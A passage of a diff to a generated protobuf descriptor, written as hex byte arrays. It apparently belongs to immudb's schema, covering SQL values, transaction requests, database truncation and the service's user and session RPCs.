0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, + 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, + 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, + 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, + 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, + 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, + 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, - 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, - 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, - 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, - 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, - 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, - 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, - 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, - 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, + 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, + 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, + 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, + 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, + 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, + 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, + 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, + 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, + 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, - 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, - 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, - 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, - 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, - 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, - 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, - 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, - 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, - 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, - 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, - 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, - 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, - 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, - 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, - 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, - 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, - 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, - 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, - 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, + 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, + 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, + 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, + 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, + 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, + 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, + 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, + 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, + 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, + 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, + 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, - 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 